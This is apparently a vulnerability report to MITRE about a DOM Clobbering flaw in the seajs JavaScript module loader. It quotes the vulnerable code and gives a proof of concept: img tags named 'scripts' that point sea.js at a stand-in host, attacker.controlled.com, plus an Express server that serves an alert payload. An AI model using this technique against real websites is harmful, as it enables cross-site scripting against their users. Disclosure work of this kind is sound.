Hi, MITRE Security team!
I have discovered a DOM Clobbering vulnerability in the seajs package. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
Note that, we have found similar issues in the other popular client-side libraries for building websites, including Webpack (CVE-2024-43788), Vite (CVE-2024-45812), and layui (CVE-2024-47075), which might be good references to this kind of vulnerability.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
The seajs is a javascript module loader for the web. However, it uses the following code snippet to determine the base url for dynamically loading additional javascript, which is vulnerable to the DOM Clobbering attacks.
// https://github.com/seajs/seajs/blob/master/src/util-path.js#L231-L247
var doc = document
var scripts = doc.scripts
// Recommend to add `seajsnode` id for the `sea.js` script element
var loaderScript = doc.getElementById("seajsnode") ||
scripts[scripts.length - 1]
function getScriptAbsoluteSrc(node) {
return node.hasAttribute ? // non-IE6/7
node.src :
// see http://msdn.microsoft.com/en-us/library/ms536429(VS.85).aspx
node.getAttribute("src", 4)
}
loaderPath = getScriptAbsoluteSrc(loaderScript)
// When `sea.js` is inline, set loaderDir to current working directory
loaderDir = dirname(loaderPath || cwd)The document.scripts lookup can be shadowed by an attacker injected non-script HTML elements (e.g., <img name="scripts">) via the browser's named DOM access mechanism. This manipulation allows an attacker to replace the intended script elements with an array of attacker-controlled scriptless HTML elements. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
In the following code snippet, the jquery.js will be loaded from the attacker.controlled.com and leads to XSS.
Then, download the seajs source from the Github (git clone https://github.com/seajs/seajs.git) and set the poc.html as follows.
<html>
<body>
<!--Payload-->
<img name="scripts" src="http://attacker.controlled.com">
<img name="scripts" src="http://attacker.controlled.com">
<!--Payload-->
<script src="seajs/dist/sea.js"></script>
<script>
// Set configuration
seajs.config({
alias: {
"jquery": "jquery/jquery/1.10.1/jquery.js"
}
});
seajs.use("examples/hello/1.0.0/main");
</script>
<!--Library-->
</body>
</html>
An attacker can setup the server like:
const express = require('express');
const path = require('path');
const app = express();
const port = 9999;
app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
res.setHeader('Content-Type', 'application/javascript');
next();
});
app.get('*', (req, res) => {
res.sendFile(path.join(__dirname, 'alert.js'));
});
app.listen(port, () => {
console.log(`Attacker Server listening on http://localhost:${port}`);
});
//alert.js
alert(document.origin)
This vulnerability can result in cross-site scripting (XSS) attacks on websites that integrate seajs and allow users to inject certain scriptless HTML tags without properly sanitizing the name attributes.